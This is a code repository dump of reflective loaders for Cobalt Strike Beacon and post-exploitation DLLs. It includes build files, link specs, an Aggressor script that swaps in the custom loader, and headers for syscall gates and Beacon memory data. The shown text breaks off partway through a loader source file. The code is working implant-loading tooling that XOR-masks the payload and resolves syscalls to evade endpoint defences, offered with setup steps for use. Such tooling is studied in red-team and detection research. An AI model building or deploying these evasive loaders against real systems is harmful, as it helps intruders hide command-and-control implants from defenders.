├── .gitattributes ├── libgate.x64.zip ├── libtcg.x64.zip ├── udrl ├── bin │ └── loader.x64.o ├── src │ ├── gate.h │ ├── tcg.h │ ├── beacon.h │ └── loader.c ├── Makefile ├── loader.spec └── README.md ├── postex-udrl ├── bin │ └── loader.x64.o ├── Makefile ├── loader.spec ├── README.md └── src │ ├── tcg.h │ └── loader.c ├── Makefile ├── README.md ├── .gitignore ├── LICENSE └── crystalpalace.cna /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /libgate.x64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Loaders/HEAD/libgate.x64.zip -------------------------------------------------------------------------------- /libtcg.x64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Loaders/HEAD/libtcg.x64.zip -------------------------------------------------------------------------------- /udrl/bin/loader.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Loaders/HEAD/udrl/bin/loader.x64.o -------------------------------------------------------------------------------- /postex-udrl/bin/loader.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rasta-mouse/Crystal-Loaders/HEAD/postex-udrl/bin/loader.x64.o -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cd udrl && make $@ 3 | cd postex-udrl && make $@ 4 | 5 | clean: 6 | cd udrl && make $@ 7 | cd postex-udrl && make $@ -------------------------------------------------------------------------------- /udrl/src/gate.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef struct { 4 | DWORD ssn; 5 | PVOID jmpAddr; 6 | } SYSCALL_GATE; 7 | 8 | BOOL GetSyscall (PVOID ntdll, PVOID func, SYSCALL_GATE * gate); 9 | void PrepareSyscall (DWORD ssn, PVOID addr); 10 | void DoSyscall (); -------------------------------------------------------------------------------- /postex-udrl/Makefile: -------------------------------------------------------------------------------- 1 | CC_64 = x86_64-w64-mingw32-gcc 2 | 3 | all: bin/loader.x64.o 4 | 5 | bin: 6 | mkdir bin 7 | 8 | bin/loader.x64.o: bin 9 | $(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o 10 | 11 | clean: 12 | rm -f bin/* -------------------------------------------------------------------------------- /udrl/Makefile: -------------------------------------------------------------------------------- 1 | CC_64 = x86_64-w64-mingw32-gcc 2 | 3 | all: bin/loader.x64.o 4 | 5 | bin: 6 | mkdir bin 7 | 8 | bin/loader.x64.o: bin 9 | $(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o 10 | 11 | clean: 12 | rm -f bin/* 13 | -------------------------------------------------------------------------------- /udrl/loader.spec: -------------------------------------------------------------------------------- 1 | name "Beacon BUD Loader" 2 | describe "PIC loader to pass memory allocation information via Beacon User Data" 3 | author "Daniel Duggan (@_RastaMouse)" 4 | 5 | x64: 6 | load "bin/loader.x64.o" 7 | make pic +gofirst +optimize +disco 8 | dfr "resolve" "ror13" 9 | mergelib "../libgate.x64.zip" 10 | mergelib "../libtcg.x64.zip" 11 | 12 | generate $KEY 128 13 | 14 | push $DLL 15 | xor $KEY 16 | preplen 17 | link "dll" 18 | 19 | push $KEY 20 | preplen 21 | link "key" 22 | 23 | export -------------------------------------------------------------------------------- /postex-udrl/loader.spec: -------------------------------------------------------------------------------- 1 | name "Beacon Postex Loader" 2 | describe "PIC loader for Cobalt Strike's postex DLLs" 3 | author "Daniel Duggan (@_RastaMouse)" 4 | 5 | x64: 6 | load "bin/loader.x64.o" 7 | make pic +gofirst +optimize +disco 8 | dfr "resolve" "strings" 9 | patch "pGetModuleHandle" $GMH 10 | patch "pGetProcAddress" $GPA 11 | mergelib "../libtcg.x64.zip" 12 | 13 | generate $KEY 128 14 | 15 | push $DLL 16 | xor $KEY 17 | preplen 18 | link "dll" 19 | 20 | push $KEY 21 | preplen 22 | link "key" 23 | 24 | export -------------------------------------------------------------------------------- /udrl/README.md: -------------------------------------------------------------------------------- 1 | # BUD Loader 2 | 3 | This loader is used when the BEACON_RDLL_GENERATE hook is called, 4 | i.e. when a new Beacon payload is generated. 5 | 6 | This loader passes Beacon's memory allocation information to Beacon 7 | via Beacon User Data (BUD). It also uses a port of [LibGate](https://github.com/rasta-mouse/LibGate) to 8 | resolve and pass syscall information to Beacon. 9 | 10 | Beacon is masked with a random XOR key and unmasked at runtime. 11 | 12 | ## Notes 13 | 14 | 1. It's expected that Beacon will free the loader (`stage.cleanup`). 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Crystal Loaders 2 | 3 | A small collection of [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) PIC loaders designed for use with Cobalt Strike. 4 | 5 | ## Setup 6 | 7 | 1. Download the Crystal Palace Release distrubtion. 8 | 2. Extract the tar archive and copy `crystalpalace.jar` to the same directory as `cobaltstrike.exe`. 9 | 3. Load `crystalpalace.cna` into Cobalt Strike. 10 | 4. Profit. 11 | 12 | ## Tradecraft Garden 13 | 14 | Read more about Crystal Palace and the Tradecraft Garden [here](https://tradecraftgarden.org/). 15 | 16 | ### Notes 17 | 18 | 1. I've only written for x64. -------------------------------------------------------------------------------- /postex-udrl/README.md: -------------------------------------------------------------------------------- 1 | # Postex Loader 2 | 3 | This loader is used with Beacon's fork & run commands that utilise a postex DLL. 4 | 5 | It assumes that `post-ex.smart-inject` is enabled to receive pointers to 6 | GetModuleHandleA and GetProcAddress from the parent Beacon. The loader 7 | uses these to resolve APIs required to load the DLL, rather than walking 8 | the export address table. 9 | 10 | The loader also passes RDATA_SECTION information to the postex DLL, as 11 | some long-running jobs can obfuscate their .rdata section while waiting. 12 | 13 | The postex DLL is masked with a random XOR key and unmasked at runtime. 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.ko 6 | *.obj 7 | *.elf 8 | 9 | # Linker output 10 | *.ilk 11 | *.map 12 | *.exp 13 | 14 | # Precompiled Headers 15 | *.gch 16 | *.pch 17 | 18 | # Libraries 19 | *.lib 20 | *.a 21 | *.la 22 | *.lo 23 | 24 | # Shared objects (inc. Windows DLLs) 25 | *.dll 26 | *.so 27 | *.so.* 28 | *.dylib 29 | 30 | # Executables 31 | *.exe 32 | *.out 33 | *.app 34 | *.i*86 35 | *.x86_64 36 | *.hex 37 | 38 | # Debug files 39 | *.dSYM/ 40 | *.su 41 | *.idb 42 | *.pdb 43 | 44 | # Kernel Module Compile Results 45 | *.mod* 46 | *.cmd 47 | .tmp_versions/ 48 | modules.order 49 | Module.symvers 50 | Mkfile.old 51 | dkms.conf 52 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Daniel Duggan, Zero-Point Security Ltd 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /crystalpalace.cna: -------------------------------------------------------------------------------- 1 | import crystalpalace.spec.* from: crystalpalace.jar; 2 | import java.util.HashMap; 3 | 4 | # ------------------------------------ 5 | # $1 - Beacon payload file name 6 | # $2 - Beacon payload (dll binary) 7 | # $3 - Beacon architecture (x86/x64) 8 | # ------------------------------------ 9 | set BEACON_RDLL_GENERATE 10 | { 11 | local('$beacon $arch $spec_path $spec $payload'); 12 | 13 | $beacon = $2; 14 | $arch = $3; 15 | 16 | if ($arch eq "x86") { 17 | warn("x86 not supported, returning default."); 18 | return $null; 19 | } 20 | 21 | $spec_path = getFileProper(script_resource("udrl"), "loader.spec"); 22 | $spec = [LinkSpec Parse: $spec_path]; 23 | $payload = [$spec run: $beacon, [new HashMap]]; 24 | 25 | if (strlen($payload) == 0) { 26 | warn("Failed to build loader, returning default."); 27 | return $null; 28 | } 29 | 30 | return $payload; 31 | } 32 | 33 | # ------------------------------------ 34 | # $1 - Beacon payload file name 35 | # $2 - Beacon architecture (x86/x64) 36 | # ------------------------------------ 37 | set BEACON_RDLL_SIZE { 38 | return "0"; 39 | } 40 | 41 | # ------------------------------------ 42 | # $1 – Post-ex payload file name 43 | # $2 – Post-ex payload (dll binary) 44 | # $3 – Post-ex architecture (x86/x64) 45 | # $4 – parent Beacon ID 46 | # $5 – GetModuleHandle pointer 47 | # $6 – GetProcAddress pointer 48 | # ------------------------------------ 49 | set POSTEX_RDLL_GENERATE 50 | { 51 | local('$postex $arch $spec_path $spec $hashMap $final'); 52 | 53 | $postex = $2; 54 | $arch = $3; 55 | 56 | if ($arch eq "x86") { 57 | warn("x86 not supported, returning default."); 58 | return $null; 59 | } 60 | 61 | $spec_path = getFileProper(script_resource("postex-udrl"), "loader.spec"); 62 | $spec = [LinkSpec Parse: $spec_path]; 63 | $hashMap = [new HashMap]; 64 | 65 | [$hashMap put: "\$GMH", cast($5, 'b')]; 66 | [$hashMap put: "\$GPA", cast($6, 'b')]; 67 | 68 | $final = [$spec run: $postex, $hashMap]; 69 | 70 | if (strlen($final) == 0) { 71 | warn("Failed to build loader, returning default."); 72 | return $null; 73 | } 74 | 75 | return $final; 76 | } -------------------------------------------------------------------------------- /udrl/src/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | typedef struct { 30 | __typeof__(LoadLibraryA) * LoadLibraryA; 31 | __typeof__(GetProcAddress) * GetProcAddress; 32 | } IMPORTFUNCS; 33 | 34 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 35 | #define DEREF( name )*(UINT_PTR *)(name) 36 | 37 | typedef struct { 38 | IMAGE_DOS_HEADER * DosHeader; 39 | IMAGE_NT_HEADERS * NtHeaders; 40 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 41 | } DLLDATA; 42 | 43 | /* 44 | * printf-style debugging. 45 | */ 46 | void dprintf(char * format, ...); 47 | 48 | /* 49 | * PICO running functions 50 | */ 51 | typedef void (*PICOMAIN_FUNC)(char * arg); 52 | 53 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 54 | int PicoCodeSize(char * src); 55 | int PicoDataSize(char * src); 56 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 57 | 58 | /* 59 | * Resolve functions by walking the export address table 60 | */ 61 | void * findFunctionByHash(char * src, DWORD wantedFunction); 62 | char * findModuleByHash(DWORD moduleHash); 63 | 64 | /* 65 | * DLL parsing and loading functions 66 | */ 67 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 68 | 69 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 70 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 71 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 72 | void LoadSections(DLLDATA * dll, char * src, char * dst); 73 | void ParseDLL(char * src, DLLDATA * data); 74 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 75 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 76 | DWORD SizeOfDLL(DLLDATA * data); 77 | 78 | /* 79 | * A macro to figure out our caller 80 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 81 | */ 82 | #ifdef __MINGW32__ 83 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 84 | #else 85 | #pragma intrinsic(_ReturnAddress) 86 | #define WIN_GET_CALLER() _ReturnAddress() 87 | #endif 88 | -------------------------------------------------------------------------------- /postex-udrl/src/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | typedef struct { 30 | __typeof__(LoadLibraryA) * LoadLibraryA; 31 | __typeof__(GetProcAddress) * GetProcAddress; 32 | } IMPORTFUNCS; 33 | 34 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 35 | #define DEREF( name )*(UINT_PTR *)(name) 36 | 37 | typedef struct { 38 | IMAGE_DOS_HEADER * DosHeader; 39 | IMAGE_NT_HEADERS * NtHeaders; 40 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 41 | } DLLDATA; 42 | 43 | /* 44 | * printf-style debugging. 45 | */ 46 | void dprintf(char * format, ...); 47 | 48 | /* 49 | * PICO running functions 50 | */ 51 | typedef void (*PICOMAIN_FUNC)(char * arg); 52 | 53 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 54 | int PicoCodeSize(char * src); 55 | int PicoDataSize(char * src); 56 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 57 | 58 | /* 59 | * Resolve functions by walking the export address table 60 | */ 61 | void * findFunctionByHash(char * src, DWORD wantedFunction); 62 | char * findModuleByHash(DWORD moduleHash); 63 | 64 | /* 65 | * DLL parsing and loading functions 66 | */ 67 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 68 | 69 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 70 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 71 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 72 | void LoadSections(DLLDATA * dll, char * src, char * dst); 73 | void ParseDLL(char * src, DLLDATA * data); 74 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 75 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 76 | DWORD SizeOfDLL(DLLDATA * data); 77 | 78 | /* 79 | * A macro to figure out our caller 80 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 81 | */ 82 | #ifdef __MINGW32__ 83 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 84 | #else 85 | #pragma intrinsic(_ReturnAddress) 86 | #define WIN_GET_CALLER() _ReturnAddress() 87 | #endif 88 | -------------------------------------------------------------------------------- /udrl/src/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h 3 | */ 4 | 5 | #include 6 | 7 | typedef enum { 8 | PURPOSE_EMPTY, 9 | PURPOSE_GENERIC_BUFFER, 10 | PURPOSE_BEACON_MEMORY, 11 | PURPOSE_SLEEPMASK_MEMORY, 12 | PURPOSE_BOF_MEMORY, 13 | PURPOSE_USER_DEFINED_MEMORY = 1000 14 | } ALLOCATED_MEMORY_PURPOSE; 15 | 16 | typedef enum { 17 | LABEL_EMPTY, 18 | LABEL_BUFFER, 19 | LABEL_PEHEADER, 20 | LABEL_TEXT, 21 | LABEL_RDATA, 22 | LABEL_DATA, 23 | LABEL_PDATA, 24 | LABEL_RELOC, 25 | LABEL_USER_DEFINED = 1000 26 | } ALLOCATED_MEMORY_LABEL; 27 | 28 | typedef enum { 29 | METHOD_UNKNOWN, 30 | METHOD_VIRTUALALLOC, 31 | METHOD_HEAPALLOC, 32 | METHOD_MODULESTOMP, 33 | METHOD_NTMAPVIEW, 34 | METHOD_USER_DEFINED = 1000, 35 | } ALLOCATED_MEMORY_ALLOCATION_METHOD; 36 | 37 | typedef struct _HEAPALLOC_INFO { 38 | PVOID HeapHandle; 39 | BOOL DestroyHeap; 40 | } HEAPALLOC_INFO, *PHEAPALLOC_INFO; 41 | 42 | typedef struct _MODULESTOMP_INFO { 43 | HMODULE ModuleHandle; 44 | } MODULESTOMP_INFO, *PMODULESTOMP_INFO; 45 | 46 | typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { 47 | HEAPALLOC_INFO HeapAllocInfo; 48 | MODULESTOMP_INFO ModuleStompInfo; 49 | PVOID Custom; 50 | } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; 51 | 52 | typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { 53 | BOOL Cleanup; 54 | ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; 55 | ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; 56 | } ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; 57 | 58 | typedef struct _ALLOCATED_MEMORY_SECTION { 59 | ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development 60 | PVOID BaseAddress; // Pointer to virtual address of section 61 | SIZE_T VirtualSize; // Virtual size of the section 62 | DWORD CurrentProtect; // Current memory protection of the section 63 | DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) 64 | BOOL MaskSection; // A boolean to indicate whether the section should be masked 65 | } ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; 66 | 67 | typedef struct _ALLOCATED_MEMORY_REGION { 68 | ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory 69 | PVOID AllocationBase; // The base address of the allocated memory block 70 | SIZE_T RegionSize; // The size of the allocated memory block 71 | DWORD Type; // The type of memory allocated 72 | ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures 73 | ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation 74 | } ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; 75 | 76 | typedef struct { 77 | ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; 78 | } ALLOCATED_MEMORY, *PALLOCATED_MEMORY; 79 | 80 | typedef struct 81 | { 82 | PVOID fnAddr; 83 | PVOID jmpAddr; 84 | DWORD sysnum; 85 | } SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; 86 | 87 | typedef struct 88 | { 89 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 90 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 91 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 92 | SYSCALL_API_ENTRY ntGetContextThread; 93 | SYSCALL_API_ENTRY ntSetContextThread; 94 | SYSCALL_API_ENTRY ntResumeThread; 95 | SYSCALL_API_ENTRY ntCreateThreadEx; 96 | SYSCALL_API_ENTRY ntOpenProcess; 97 | SYSCALL_API_ENTRY ntOpenThread; 98 | SYSCALL_API_ENTRY ntClose; 99 | SYSCALL_API_ENTRY ntCreateSection; 100 | SYSCALL_API_ENTRY ntMapViewOfSection; 101 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 102 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 103 | SYSCALL_API_ENTRY ntDuplicateObject; 104 | SYSCALL_API_ENTRY ntReadVirtualMemory; 105 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 106 | SYSCALL_API_ENTRY ntReadFile; 107 | SYSCALL_API_ENTRY ntWriteFile; 108 | SYSCALL_API_ENTRY ntCreateFile; 109 | SYSCALL_API_ENTRY ntQueueApcThread; 110 | SYSCALL_API_ENTRY ntCreateProcess; 111 | SYSCALL_API_ENTRY ntOpenProcessToken; 112 | SYSCALL_API_ENTRY ntTestAlert; 113 | SYSCALL_API_ENTRY ntSuspendProcess; 114 | SYSCALL_API_ENTRY ntResumeProcess; 115 | SYSCALL_API_ENTRY ntQuerySystemInformation; 116 | SYSCALL_API_ENTRY ntQueryDirectoryFile; 117 | SYSCALL_API_ENTRY ntSetInformationProcess; 118 | SYSCALL_API_ENTRY ntSetInformationThread; 119 | SYSCALL_API_ENTRY ntQueryInformationProcess; 120 | SYSCALL_API_ENTRY ntQueryInformationThread; 121 | SYSCALL_API_ENTRY ntOpenSection; 122 | SYSCALL_API_ENTRY ntAdjustPrivilegesToken; 123 | SYSCALL_API_ENTRY ntDeviceIoControlFile; 124 | SYSCALL_API_ENTRY ntWaitForMultipleObjects; 125 | } SYSCALL_API, *PSYSCALL_API; 126 | 127 | /* Additional Run Time Library (RTL) addresses used to support system calls. 128 | * If they are not set then system calls that require them will fall back 129 | * to the Standard Windows API. 130 | * 131 | * Required to support the following system calls: 132 | * ntCreateFile 133 | */ 134 | typedef struct 135 | { 136 | PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; 137 | PVOID rtlFreeHeapAddr; 138 | PVOID rtlGetProcessHeapAddr; 139 | } RTL_API, *PRTL_API; 140 | 141 | typedef struct 142 | { 143 | SYSCALL_API syscalls; 144 | RTL_API rtls; 145 | } BEACON_SYSCALLS, *PBEACON_SYSCALLS; 146 | 147 | /* Beacon User Data 148 | * 149 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 150 | * e.g. 0x040900 -> CS 4.9 151 | * 0x041000 -> CS 4.10 152 | */ 153 | 154 | #define COBALT_STRIKE_VERSION 0x041100 155 | #define BOF_MEMORY_SIZE 0x10000 156 | #define SLEEPMASK_MEMORY_SIZE 0x10000 157 | 158 | #define DLL_BEACON_START 0x04 159 | #define DLL_BEACON_USER_DATA 0x0d 160 | 161 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 162 | 163 | typedef struct 164 | { 165 | unsigned int version; 166 | PSYSCALL_API syscalls; 167 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 168 | PRTL_API rtls; 169 | PALLOCATED_MEMORY allocatedMemory; 170 | } USER_DATA, * PUSER_DATA; -------------------------------------------------------------------------------- /postex-udrl/src/loader.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #include 30 | #include "tcg.h" 31 | 32 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 33 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 34 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 35 | DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); 36 | 37 | __typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text"))); 38 | __typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text"))); 39 | 40 | char * resolve(char * module, char * function) { 41 | HANDLE hModule = pGetModuleHandle(module); 42 | if (hModule == NULL) { 43 | hModule = LoadLibraryA(module); 44 | } 45 | return (char *)pGetProcAddress(hModule, function); 46 | } 47 | 48 | #define GETRESOURCE(x) (char *)&x 49 | 50 | char _DLL_[0] __attribute__((section("dll"))); 51 | char _KEY_[0] __attribute__((section("key"))); 52 | 53 | typedef struct { 54 | int length; 55 | char value[]; 56 | } RESOURCE; 57 | 58 | typedef struct { 59 | char * start; 60 | DWORD length; 61 | DWORD offset; 62 | } RDATA_SECTION; 63 | 64 | void FixSectionPermissions(DLLDATA * dll, char * dst, RDATA_SECTION * rdata) 65 | { 66 | DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; 67 | IMAGE_SECTION_HEADER * sectionHdr = NULL; 68 | void * sectionDst = NULL; 69 | DWORD sectionSize = 0; 70 | DWORD newProtection = 0; 71 | DWORD oldProtection = 0; 72 | 73 | sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); 74 | 75 | for (int i = 0; i < numberOfSections; i++) 76 